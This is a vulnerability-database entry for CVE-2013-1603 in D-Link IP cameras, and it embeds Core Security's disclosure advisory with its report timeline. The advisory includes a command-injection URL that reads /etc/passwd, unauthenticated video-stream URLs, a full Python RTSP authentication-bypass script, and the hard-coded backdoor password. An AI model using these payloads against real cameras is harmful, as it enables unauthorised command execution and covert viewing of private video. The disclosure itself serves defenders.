Vulnerabilities > CVE-2013-1603 - Use of Hard-coded Credentials vulnerability in Dlink products

047910
CVSS 5.0 - MEDIUM
Attack vector
NETWORK
Attack complexity
LOW
Privileges required
NONE
Confidentiality impact
PARTIAL
Integrity impact
NONE
Availability impact
NONE
network
low complexity
dlink
CWE-798
exploit available

Summary

An Authentication vulnerability exists in D-LINK WCS-1100 1.02, TESCO DCS-2121 1.05_TESCO, TESCO DCS-2102 1.05_TESCO, DCS-7510 1.00, DCS-7410 1.00, DCS-6410 1.00, DCS-5635 1.01, DCS-5605 1.01, DCS-5230L 1.02, DCS-5230 1.02, DCS-3430 1.02, DCS-3411 1.02, DCS-3410 1.02, DCS-2121 1.06_FR, DCS-2121 1.06, DCS-2121 1.05_RU, DCS-2102 1.06_FR, DCS-2102 1.06, DCS-2102 1.05_RU, DCS-1130L 1.04, DCS-1130 1.04_US, DCS-1130 1.03, DCS-1100L 1.04, DCS-1100 1.04_US, and DCS-1100 1.03 due to hard-coded credentials that serve as a backdoor, which allows remote attackers to access the RTSP video stream.

Common Weakness Enumeration (CWE)

Common Attack Pattern Enumeration and Classification (CAPEC)

  • Reverse Engineering
    An attacker discovers the structure, function, and composition of an object, resource, or system by using a variety of analysis techniques to effectively determine how the analyzed entity was constructed or operates. The goal of reverse engineering is often to duplicate the function, or a part of the function, of an object in order to duplicate or "back engineer" some aspect of its functioning. Reverse engineering techniques can be applied to mechanical objects, electronic devices or components, or to software, although the methodology and techniques involved in each type of analysis differ widely.
  • Software Reverse Engineering
    An attacker discovers the structure, function, and composition of a type of computer software by using a variety of analysis techniques to effectively determine how the software functions and operates, or if vulnerabilities or security weakness are present within the implementation. Reverse engineering methods, as applied to software, can utilize a wide number approaches and techniques. Methodologies for software reverse engineering fall into two broad categories, 'white box' and 'black box.' White box techniques involve methods which can be applied to a piece of software when an executable or some other compiled object can be directly subjected to analysis, revealing at least a portion of its machine instructions that can be observed upon execution. 'Black Box' methods involve interacting with the software indirectly, in the absence of the ability to measure, instrument, or analyze an executable object directly. Such analysis typically involves interacting with the software at the boundaries of where the software interfaces with a larger execution environment, such as input-output vectors, libraries, or APIs.
  • Reverse Engineer an Executable to Expose Assumed Hidden Functionality or Content
    An attacker analyzes a binary file or executable for the purpose of discovering the structure, function, and possibly source-code of the file by using a variety of analysis techniques to effectively determine how the software functions and operates. This type of analysis is also referred to as Reverse Code Engineering, as techniques exist for extracting source code from an executable. Several techniques are often employed for this purpose, both black box and white box. The use of computer bus analyzers and packet sniffers allows the binary to be studied at a level of interactions with its computing environment, such as a host OS, inter-process communication, and/or network communication. This type of analysis falls into the 'black box' category because it involves behavioral analysis of the software without reference to source code, object code, or protocol specifications. White box analysis techniques include file or binary analysis, debugging, disassembly, and decompilation, and generally fall into categories referred to as 'static' and 'dynamic' analysis. Static analysis encompasses methods which analyze the binary, or extract its source code or object code without executing the program. Dynamic analysis involves analyzing the program during execution. Some forms of file analysis tools allow the executable itself to be analyzed, the most basic of which can analyze features of the binary, such as the strings contained within the file. More sophisticated forms of static analysis analyze the binary file and extract assembly code, and possibly source code representations, from analyzing the structure of the file itself. Dynamic analysis tools execute the binary file and monitor its in memory footprint, revealing its execution flow, memory usage, register values, and machine instructions. This type of analysis is most effective for analyzing the execution of binary files whose content has been obfuscated or encrypted in its native executable form. Debuggers allow the program's execution to be monitored, and depending upon the debugger's sophistication may show relevant source code for each step in execution, or may display and allow interactions with memory, variables, or values generated by the program during run-time operations. Disassemblers operate in reverse of assemblers, allowing assembly code to be extracted from a program as it executes machine code instructions. Disassemblers allow low-level interactions with the program as it executes, such as manipulating the program's run time operations. Decompilers can be utilized to analyze a binary file and extract source code from the compiled executable. Collectively, the tools and methods described are those commonly applied to a binary executable file and provide means for reverse engineering the file by revealing the hidden functions of its operation or composition.
  • Read Sensitive Strings Within an Executable
    An attacker engages in activities to discover any sensitive strings are present within the compiled code of an executable, such as literal ASCII strings within the file itself, or possibly strings hard-coded into particular routines that can be revealed by code refactoring methods including static and dynamic analysis. One specific example of a sensitive string is a hard-coded password. Typical examples of software with hard-coded passwords include server-side executables which may check for a hard-coded password or key during a user's authentication with the server. Hard-coded passwords can also be present in client-side executables which utilize the password or key when connecting to either a remote component, such as a database server, licensing server, or otherwise, or a processes on the same host that expects a key or password. When analyzing an executable the attacker may search for the presence of such strings by analyzing the byte-code of the file itself. Example utilities for revealing strings within a file include 'strings,' 'grep,' or other variants of these programs depending upon the type of operating system used. These programs can be used to dump any ASCII or UNICODE strings contained within a program. Strings can also be searched for using a hex editors by loading the binary or object code file and utilizing native search functions such as regular expressions. More sophisticated methods of searching for sensitive strings within a file involve disassembly or decompiling of the file. One could, for example, utilize disassembly methods on an ISAPI executable or dll to discover a hard-coded password within the code as it executes. This type of analysis usually involves four stages in which first a debugger is attached to the running process, anti-debugging countermeasures are circumvented or bypassed, the program is analyzed step-by-step, and breakpoints are established so that discrete functions and data structures can be analyzed. Debugging tools such as SoftICE, Ollydbg, or vendor supplied debugging tools are often used. Disassembly tools such as IDA pro, or similar tools, can also be employed. A third strategy for accessing sensitive strings within a binary involves the decompilation of the file itself into source code that reveals the strings. An example of this type of analysis involves extracting source code from a java JAR file and then using functionality within a java IDE to search the source code for sensitive, hard-coded information. In performing this analysis native java tools, such as "jar" are used to extract the compiled class files. Next, a java decompiler such as "DJ" is used to extract java source code from the compiled classes, revealing source code. Finally, the source code is audited to reveal sensitive information, a step that is usually assisted by source code analysis programs.
  • Protocol Reverse Engineering
    An attacker engages in activities to decipher and/or decode protocol information for a network or application communication protocol used for transmitting information between interconnected nodes or systems on a packet-switched data network. While this type of analysis inherently involves the analysis of a networking protocol, it does not require the presence of an actual or physical network. Although certain techniques for protocol analysis benefit from manipulating live 'on-the-wire' interactions between communicating components, static or dynamic analysis techniques applied to executables as well as to device drivers such as network interface drivers, can also be used to reveal the function and characteristics of a communication protocol implementation. Depending upon the methods used, protocol reverse engineering can involve similar methods as those employed when reverse engineering an executable, or the process may involve observing, interacting, and modifying actual communications occurring between hosts. The goal of protocol reverse engineering is to derive the data transmission syntax, as well as to extract the meaningful content, including packet or content delimiters used by the protocol. This type of analysis is often performed on closed-specification protocols, or proprietary protocols, but is also useful for analyzing publicly available specifications to determine how particular implementations deviate from published specifications. There are several challenges inherent to protocol reverse engineering depending upon the nature of the protocol being analyzed. There may also be other types of factors which complicate the process such as encryption or ad hoc obfuscation of the protocol. In general there are two kinds of networking protocols, each associated with its own challenges and analysis approaches or methodologies. Some protocols are human-readable, which is to say they are text-based protocols. Examples of these types of protocols include HTTP, SMTP, and SOAP. Additionally, application-layer protocols can be embedded or encapsulated within human-readable protocols in the data portion of the packet. Typically, human-readable protocol implementations are susceptible to automatic decoding by the appropriate tools, such as Wireshark/ethereal, tcpdump, or similar protocol sniffers or analyzers. The presence of well-known protocol specifications in addition to easily identified protocol delimiters, such as Carriage Return or Line Feed characters (CRLF) result in text-based protocols susceptibility to direct scrutiny through manual processes. Protocol reverse engineering against protocol implementation such as HTTP is often performed to identify idiosyncratic implementations of a protocol by a server or client. In the case of application-layer protocols which are embedded within text-based protocols, analysis techniques typically benefit from the well-known nature of the encapsulating protocols and can focus on discovering the semantic characteristics of the proprietary protocol or API, since the syntax and protocol delimiters of the underlying protocols can be readily identified. When performing protocol analysis of machine-readable (non-text-based) protocols difficulties emerge as the protocol itself was designed to be read by computing process. Such protocols are typically composed entirely in binary with no apparent syntax, grammar, or structural boundaries. Examples of these types of protocols are IP, UDP, and TCP. Binary protocols with published specifications can be automatically decoded by protocol analyzers, but in the case of proprietary, closed-specification, binary protocols there are no immediate indicators of packet syntax such as packet boundaries, delimiters, or structure, or the presence or absence of encryption or obfuscation. In these cases there is no one technology that can extract or reveal the structure of the packet on the wire, so it is necessary to use trial and error approaches while observing application behavior based on systematic mutations introduced at the packet-level. Tools such as Protocol Debug (PDB) or other packet injection suites are often employed. In cases where the binary executable is available, protocol analysis can be augmented with static and dynamic analysis techniques.

Exploit-Db

descriptionD-Link IP Cameras - Multiple Vulnerabilities. CVE-2013-1599,CVE-2013-1600,CVE-2013-1601,CVE-2013-1602,CVE-2013-1603. Webapps exploit for hardware platform
idEDB-ID:25138
last seen2016-02-03
modified2013-05-01
published2013-05-01
reporterCore Security
sourcehttps://www.exploit-db.com/download/25138/
titleD-Link IP Cameras - Multiple Vulnerabilities

Packetstorm

data sourcehttps://packetstormsecurity.com/files/download/121452/CORE-2013-0303.txt
idPACKETSTORM:121452
last seen2016-12-05
published2013-04-29
reporterCore Security Technologies
sourcehttps://packetstormsecurity.com/files/121452/D-Link-IP-Cameras-Injection-Bypass.html
titleD-Link IP Cameras Injection / Bypass

Seebug

bulletinFamilyexploit
descriptionCore Security - Corelabs Advisory http://corelabs.coresecurity.com/ D-Link IP Cameras Multiple Vulnerabilities 1. *Advisory Information* Title: D-Link IP Cameras Multiple Vulnerabilities Advisory ID: CORE-2013-0303 Advisory URL: http://www.coresecurity.com/advisories/d-link-ip-cameras-multiple-vulnerabilities Date published: 2013-04-29 Date of last update: 2013-03-29 Vendors contacted: D-Link Corporation Release mode: Coordinated release 2. *Vulnerability Information* Class: OS command injection [CWE-78], Authentication issues [CWE-287], Information leak through GET request [CWE-598], Authentication issues [CWE-287], Use of hard-coded credentials [CWE-798] Impact: Code execution, Security bypass Remotely Exploitable: Yes Locally Exploitable: No CVE Name: CVE-2013-1599, CVE-2013-1600, CVE-2013-1601, CVE-2013-1602, CVE-2013-1603 3. *Vulnerability Description* Multiple vulnerabilities have been found in D-Link IP cameras [1] that could allow an unauthenticated remote attacker: 1. [CVE-2013-1599] to execute arbitrary commands from the administration web interface, 2. [CVE-2013-1600] to access the video stream via HTTP, 3. [CVE-2013-1601] to access the ASCII video stream via image luminance, 4. [CVE-2013-1602] to access the video stream via RTSP, 5. [CVE-2013-1603] to bypass RTSP authentication using hard-coded credentials. 4. *Vulnerable Packages* The following is the list of affected devices and the associated firmware (confirmed by D-Link). Other SKUs are probably affected too, but they were not checked. [CVE-2013-1599] . DCS-3411/3430 - firmware v1.02 . DCS-5605/5635 - v1.01 . DCS-1100L/1130L - v1.04 . DCS-1100/1130 - v1.03 . DCS-1100/1130 - v1.04_US . DCS-2102/2121 - v1.05_RU . DCS-3410 - v1.02 . DCS-5230 - v1.02 . DCS-5230L - v1.02 . DCS-6410 - v1.00 . DCS-7410 - v1.00 . DCS-7510 - v1.00 . WCS-1100 - v1.02 [CVE-2013-1600] . DCS-2102/2121 - v1.05_RU . DCS-2102/2121 - v1.06 . DCS-2102/2121 - v1.06_FR . TESCO DCS-2102/2121 - v1.05_TESCO [CVE-2013-1601] and [CVE-2013-1603] . DCS-3411/3430 - v1.02 . DCS-5605/5635 - v1.01 . DCS-1100L/1130L - v1.04 . DCS-1100/1130 - v1.03 . DCS-1100/1130 - v1.04_US . DCS-2102/2121 - v1.05_RU . DCS-2102/2121 - v1.06 . DCS-2102/2121 - v1.06_FR . TESCO DCS-2102/2121 - v1.05_TESCO . DCS-3410 - v1.02 . DCS-5230 - v1.02 . DCS-5230L - v1.02 . DCS-6410 - v1.00 . DCS-7410 - v1.00 . DCS-7510 - v1.00 . WCS-1100 - v1.02 [CVE-2013-1602] . ALL mentioned devices and firmware. 5. *Vendor Information, Solutions and Workarounds* D-Link announces that all patches are ready and scheduled for posting on corporate web site for all customers [2013-04-25]. Contact D-Link for further information. 6. *Credits* [CVE-2013-1599], [CVE-2013-1600] and [CVE-2013-1601] were discovered and researched by Francisco Falcon and Nahuel Riva from Core Exploit Writers Team. [CVE-2013-1602] was discovered and researched by Martin Rocha from Core Impact Pro Team. The PoC was made by Martin Rocha with help of Juan Cotta from Core QA Team. [CVE-2013-1603] was discovered and researched by Pablo Santamaria from Core Security Consulting Services. The publication of this advisory was coordinated by Fernando Miranda from Core Advisories Team. 7. *Technical Description / Proof of Concept Code* 7.1. *OS Command Injection* [CVE-2013-1599] A security issue located in '/var/www/cgi-bin/rtpd.cgi' allows an unauthenticated remote attacker to execute arbitrary commands through the camera's web interface. The OS command injection is due to this code in 'rtpd.cgi': ``` echo "$QUERY_STRING" | grep -vq ' ' || die "query string cannot contain spaces." . $conf > /dev/null 2> /dev/null eval "$(echo $QUERY_STRING | sed -e 's/&/ /g')" ``` The first line of this snippet basically ensures that there are no spaces in '$QUERY_STRING'. The last line uses 'sed' to replace ampersands '&' with spaces, and then call to the function 'eval()', resulting in a typical command injection. For example, in order to execute: ``` uname -a;cat /etc/passwd ``` the following request can be sent to the camera web interface: ``` http://192.168.1.100/cgi-bin/rtpd.cgi?uname&-a;cat&/etc/passwd ``` 7.2. *Authentication Bypass* [CVE-2013-1600] The live video stream can be accessed without authentication by a remote attacker via the following request: http://192.168.1.100/upnp/asf-mp4.asf 7.3. *ASCII Video Stream Information Leak* [CVE-2013-1601] An ASCII output (the image luminance) of the live video stream can be accessed by a remote unauthenticated attacker via: http://192.168.1.100/md/lums.cgi The following example is the output of a coffee pot video stream [2]: ``` O O O O O O O O O O O O O O O O O O O O O O O O O O o o o o o o o o o o o o O O O O O O O O O O O O O O O O O O O O o o o O O O o o o o o o o o o o o o O O O O O O O O O O O O O O O O O O . . . o O O o o o o o o o o o o o O O O O O O O O O O O O o o O O o . . o o o o o o o o o o o o o o O O O O O O O O O O O O o o o o . . . . . . o o o o o o o O O O O O O O O O O o . o O O o . o o o o o o O O O O O O O O O . . o o o o o o O O O O O O O O . . o o o o o o o o O O O O O O O . . o O O o . . o o o o o o o o o O O O O O O o . O O O O O O . o o o o o o o o o O O O O O O . O O O O O O O . . . . . o o o o o o o o o O O O O O O o O O O O O O O . . . o . . . o o o o o o o o O O O O O O o O O O O O O O . . . o o o . . . . . . . o o o o o o o o O O O O O O o O O O O O O o . o O O o O O . . . . . . . . o o o o o o o O O O O O O . o O O O O O O o . O O O o O O . . . . . . . . . o o o o o o O O O O O O . . O O O O O o . . O O o o O O o . . . . . . . . o o o o o o O O O O O O o O O O O O o . o O O o o O O o . . . . . . . . . o o o o o O O O O O O O O O O O O . . o O O o o O O o . . . . . . . . . o o o o o O O O O O O O . o O O O o . o o o O o o O O o . . . . . . . . . . o o o o O O O O O O O o . O O O o . o o o O o o O O o . . . . . . . . . . o o o o O O O O O O O O . O O O . . o o o O o o O O o . . . . . . . . . . o o o o O O O O O O O O O O O . . o o o O o o O O o . . . . . . . . . . . o o o O O O O O O O O o o O o o o o o O o o o O o . . . . . . . . . . . o o o O O O O O O O O O . O o o o o o O o . o O o . . . . . . . . . . . . o o O O O O O O O O O . O o . o o o o O . . o O o . . . . . . . . . . . . . o O O O O O O O O O o o . . o o o o o . . o O o . . . . . . . . . . . o O O O O O O O O O O . . . o o o . o . . o O o . . . . . . o O O O O O O O O O . . o o o . o . . . O o . . . o o O O O O O O O O o . o o o . o . . . O o . . o o o O O O O O O O o . o o o . o . . . O o . ``` 7.4. *RTSP Authentication Bypass* [CVE-2013-1602] This vulnerability is triggered because: 1. Authentication is only present in DESCRIBE requests but not in every subsequent request. 2. When the RTSP session is being established, the authentication request of current session is ignored (a previously stored response is used instead). As a result, the video stream can be accessed by an unauthenticated remote attacker. ``` import sys from socket import * from threading import Thread import time, re LOGGING = 1 def log(s): if LOGGING: print '(%s) %s' % (time.ctime(), s) class UDPRequestHandler(Thread): def __init__(self, data_to_send, recv_addr, dst_addr): Thread.__init__(self) self.data_to_send = data_to_send self.recv_addr = recv_addr self.dst_addr = dst_addr def run(self): sender = socket(AF_INET, SOCK_DGRAM) sender.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1) sender.sendto(self.data_to_send, self.dst_addr) response = sender.recv(1024) sender.sendto(response, self.recv_addr) sender.close() class UDPDispatcher(Thread): dispatchers = [] def __has_dispatcher_for(self, port): return any([d.src_port == port for d in UDPDispatcher.dispatchers]) def __init__(self, src_port, dst_addr): Thread.__init__(self) if self.__has_dispatcher_for(src_port): raise Exception('There is already a dispatcher for port %d' % src_port) self.src_port = src_port self.dst_addr = dst_addr UDPDispatcher.dispatchers.append(self) def run(self): listener = socket(AF_INET, SOCK_DGRAM) listener.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1) listener.bind(('', self.src_port)) while 1: try: data, recv_addr = listener.recvfrom(1024) if not data: break UDPRequestHandler(data, recv_addr, self.dst_addr).start() except Exception as e: print e break listener.close() UDPDispatcher.dispatchers.remove( self ) class PipeThread(Thread): pipes = [] def __init__(self, source, sink, process_data_callback=lambda x: x): Thread.__init__(self) self.source = source self.sink = sink self.process_data_callback = process_data_callback PipeThread.pipes.append(self) def run(self): while 1: try: data = self.source.recv(1024) data = self.process_data_callback(data) if not data: break self.sink.send( data ) except Exception as e: log(e) break PipeThread.pipes.remove(self) class TCPTunnel(Thread): def __init__(self, src_port, dst_addr, process_data_callback=lambda x: x): Thread.__init__(self) log('[*] Redirecting: localhost:%s -> %s:%s' % (src_port, dst_addr[0], dst_addr[1])) self.dst_addr = dst_addr self.process_data_callback = process_data_callback # Create TCP listener socket self.sock = socket(AF_INET, SOCK_STREAM) self.sock.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1) self.sock.bind(('', src_port)) self.sock.listen(5) def run(self): while 1: # Wait until a new connection arises newsock, address = self.sock.accept() # Create forwarder socket fwd = socket(AF_INET, SOCK_STREAM) fwd.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1) fwd.connect(self.dst_addr) # Pipe them! PipeThread(newsock, fwd, self.process_data_callback).start() PipeThread(fwd, newsock, self.process_data_callback).start() class Camera(): def __init__(self, address): self.address = address def get_describe_data(self): return '' class DLink(Camera): # D-Link DCS-2102/1.06-5731 def __init__(self, address): Camera.__init__(self, address) def get_describe_data(self): return '\x76\x3d\x30\x0d\x0a\x6f\x3d\x43\x56\x2d\x52\x54\x53\x50\x48\x61\x6e\x64\x6c\x65\x72\x20\x31\x31\x32\x33\x34\x31\x32\x20\x30\x20\x49\x4e\x20\x49\x50\x34\x20\x31\x39\x32\x2e\x31\x36\x38\x2e\x32\x2e\x31\x31\x0d\x0a\x73\x3d\x44\x43\x53\x2d\x32\x31\x30\x32\x0d\x0a\x63\x3d\x49\x4e\x20\x49\x50\x34\x20\x30\x2e\x30\x2e\x30\x2e\x30\x0d\x0a\x74\x3d\x30\x20\x30\x0d\x0a\x61\x3d\x63\x68\x61\x72\x73\x65\x74\x3a\x53\x68\x69\x66\x74\x5f\x4a\x49\x53\x0d\x0a\x61\x3d\x72\x61\x6e\x67\x65\x3a\x6e\x70\x74\x3d\x6e\x6f\x77\x2d\x0d\x0a\x61\x3d\x63\x6f\x6e\x74\x72\x6f\x6c\x3a\x2a\x0d\x0a\x61\x3d\x65\x74\x61\x67\x3a\x31\x32\x33\x34\x35\x36\x37\x38\x39\x30\x0d\x0a\x6d\x3d\x76\x69\x64\x65\x6f\x20\x30\x20\x52\x54\x50\x2f\x41\x56\x50\x20\x39\x36\x0d\x0a\x62\x3d\x41\x53\x3a\x31\x38\x0d\x0a\x61\x3d\x72\x74\x70\x6d\x61\x70\x3a\x39\x36\x20\x4d\x50\x34\x56\x2d\x45\x53\x2f\x39\x30\x30\x30\x30\x0d\x0a\x61\x3d\x63\x6f\x6e\x74\x72\x6f\x6c\x3a\x74\x72\x61\x63\x6b\x49\x44\x3d\x31\x0d\x0a\x61\x3d\x66\x6d\x74\x70\x3a\x39\x36\x20\x70\x72\x6f\x66\x69\x6c\x65\x2d\x6c\x65\x76\x65\x6c\x2d\x69\x64\x3d\x31\x3b\x63\x6f\x6e\x66\x69\x67\x3d\x30\x30\x30\x30\x30\x31\x42\x30\x30\x31\x30\x30\x30\x30\x30\x31\x42\x35\x30\x39\x30\x30\x30\x30\x30\x31\x30\x30\x30\x30\x30\x30\x30\x31\x32\x30\x30\x30\x43\x34\x38\x38\x42\x41\x39\x38\x35\x31\x34\x30\x34\x33\x43\x31\x34\x34\x33\x46\x3b\x64\x65\x63\x6f\x64\x65\x5f\x62\x75\x66\x3d\x37\x36\x38\x30\x30\x0d\x0a\x61\x3d\x73\x65\x6e\x64\x6f\x6e\x6c\x79\x0d\x0a\x6d\x3d\x61\x75\x64\x69\x6f\x20\x30\x20\x52\x54\x50\x2f\x41\x56\x50\x20\x30\x0d\x0a\x61\x3d\x72\x74\x70\x6d\x61\x70\x3a\x30\x20\x50\x43\x4d\x55\x2f\x38\x30\x30\x30\x0d\x0a\x61\x3d\x63\x6f\x6e\x74\x72\x6f\x6c\x3a\x74\x72\x61\x63\x6b\x49\x44\x3d\x32\x0d\x0a\x61\x3d\x73\x65\x6e\x64\x6f\x6e\x6c\x79\x0d\x0a' class RTSPAuthByPasser(): DESCRIBE_REQ_HEADER = 'DESCRIBE rtsp://' UNAUTHORIZED_RESPONSE = 'RTSP/1.0 401 Unauthorized' SERVER_PORT_ARGUMENTS = 'server_port=' DEFAULT_CSEQ = 1 DEFAULT_SERVER_PORT_RANGE = '5556-5559' def __init__(self, local_port, camera): self.last_describe_req = '' self.camera = camera self.local_port = local_port def start(self): log('[!] Starting bypasser') TCPTunnel(self.local_port, self.camera.address, self.spoof_rtsp_conn).start() def spoof_rtsp_conn(self, data): if RTSPAuthByPasser.DESCRIBE_REQ_HEADER in data: self.last_describe_req = data elif RTSPAuthByPasser.UNAUTHORIZED_RESPONSE in data and self.last_describe_req: log('[!] Unauthorized response received. Spoofing...') spoofed_describe = self.camera.get_describe_data() # Look for the request CSeq m = re.search('.*CSeq:\\s*(\\d+?)\r\n.*', self.last_describe_req) cseq = m.group(1) if m else RTSPAuthByPasser.DEFAULT_CSEQ # Create the response data = 'RTSP/1.0 200 OK\r\n' data+= 'CSeq: %s\r\n' % cseq data+= 'Content-Type: application/sdp\r\n' data+= 'Content-Length: %d\r\n' % len(spoofed_describe) data+= '\r\n' # Attach the spoofed describe data+= spoofed_describe elif RTSPAuthByPasser.SERVER_PORT_ARGUMENTS in data: # Look for the server RTP ports m = re.search('.*%s\\s*(.+?)[;|\r].*' % RTSPAuthByPasser.SERVER_PORT_ARGUMENTS, data) ports = m.group(1) if m else RTSPAuthByPasser.DEFAULT_SERVER_PORT_RANGE # For each port in the range create a UDP dispatcher begin_port, end_port = map(int, ports.split('-')) for udp_port in xrange(begin_port, end_port + 1): try: UDPDispatcher(udp_port, (self.camera.address[0], udp_port)).start() except: pass return data if __name__ == '__main__': if len( sys.argv ) > 1: listener_port = camera_port = int(sys.argv[1]) camera_ip = sys.argv[2] if len(sys.argv) == 4: camera_port = int(sys.argv[3]) RTSPAuthByPasser(listener_port, DLink((camera_ip, camera_port))).start() else: print 'usage: python %s [local_port] [camera_ip] [camera_rtsp_port]' ``` 7.5. *RTSP Hard-Coded Credentials* [CVE-2013-1603] RTSP service contains hard-coded credentials that effectively serve as a backdoor, which allows remote attackers to access the RTSP video stream. /----- username: (any) password: ?* -----/ As we can see in the following dump, the submitted password is compared with the string ':?*' (the character ':' is used for concatenation of 'username:password'). This code belongs to the binary 'rtspd': /----- .text:00011468 loc_11468 ; Load from Memory .text:00011468 LDR R3, [R11,#s2] .text:0001146C STR R3, [R11,#var_C0] ; Store to Memory .text:00011470 LDR R2, [R11,#var_C0] ; Load from Memory .text:00011474 LDR R3, [R11,#var_BC] ; Load from Memory .text:00011478 ADD R3, R2, R3 ; Rd = Op1 + Op2 .text:0001147C SUB R3, R3, #3 ; Rd = Op1 - Op2 .text:00011480 STR R3, [R11,#var_C0] ; Store to Memory .text:00011484 LDR R0, [R11,#var_C0] ; s1 .text:00011488 LDR R1, =asc_1B060 ; ":?*" <------- .text:0001148C MOV R2, #3 ; n .text:00011490 BL strncmp ; Branch with Link .text:00011494 MOV R3, R0 ; Rd = Op2 .text:00011498 CMP R3, #0 ; Set cond. codes on Op1 - Op2 .text:0001149C BNE loc_114BC ; Branch -----/ 8. *Report Timeline* . 2013-03-19: Core Security Technologies notifies the D-Link team of the vulnerability. . 2013-03-20: D-Link team asks for a technical description of the vulnerability. . 2013-03-20: Core sends a draft advisory with technical details and set the estimated publication date of the advisory for May 14th, 2013. . 2013-03-20: Vendor notifies that D-Link Corporation has an unpublished bounty program for security advisors. The bounty program requires both Core Security and D-Link to sign a memo of understanding (MoU). . 2013-03-25: Core notifies that receiving money from vendors may bias the view of the report and rejects the bounty program. . 2013-03-29: Vendor notifies that they hope to close the fix ASAP. . 2013-04-08: Vendor sends the list of vulnerable devices and the associated firmware and notifies that they will release patches and release notes on the D-Link support forum first. Then, an official public release will be announced (approx. 1 month from forum post to full release). . 2013-04-24: Core asks for a clarification regarding the D-Link release date and notifies that releasing fixes to a privileged closed group and/or a closed forum or list is unacceptable. . 2013-04-25: Vendor notifies that the patches are ready and scheduled for posting on D-Link web site over the next few days. . 2013-04-26: Core notifies that the advisory is re-scheduled for Monday 29th. . 2013-04-29: Advisory CORE-2013-0303 published. 9. *References* [1] http://www.dlink.com/us/en/home-solutions/view/network-cameras. [2] http://corelabs.coresecurity.com/themes/sample_theme/images/coffee-pot.png. 10. *About CoreLabs* CoreLabs, the research center of Core Security Technologies, is charged with anticipating the future needs and requirements for information security technologies. We conduct our research in several important areas of computer security including system vulnerabilities, cyber attack planning and simulation, source code auditing, and cryptography. Our results include problem formalization, identification of vulnerabilities, novel solutions and prototypes for new technologies. CoreLabs regularly publishes security advisories, technical papers, project information and shared software tools for public use at: http://corelabs.coresecurity.com. 11. *About Core Security Technologies* Core Security Technologies enables organizations to get ahead of threats with security test and measurement solutions that continuously identify and demonstrate real-world exposures to their most critical assets. Our customers can gain real visibility into their security standing, real validation of their security controls, and real metrics to more effectively secure their organizations. Core Security's software solutions build on over a decade of trusted research and leading-edge threat expertise from the company's Security Consulting Services, CoreLabs and Engineering groups. Core Security Technologies can be reached at +1 (617) 399-6980 or on the Web at: http://www.coresecurity.com. 12. *Disclaimer* The contents of this advisory are copyright (c) 2013 Core Security Technologies and (c) 2013 CoreLabs, and are licensed under a Creative Commons Attribution Non-Commercial Share-Alike 3.0 (United States) License: http://creativecommons.org/licenses/by-nc-sa/3.0/us/ 13. *PGP/GPG Keys* This advisory has been signed with the GPG key of Core Security Technologies advisories team, which is available for download at http://www.coresecurity.com/files/attachments/core_security_advisories.asc.
idSSV:78805
last seen2017-11-19
modified2014-07-01
published2014-07-01
reporterRoot
titleD-Link IP Cameras Multiple Vulnerabilities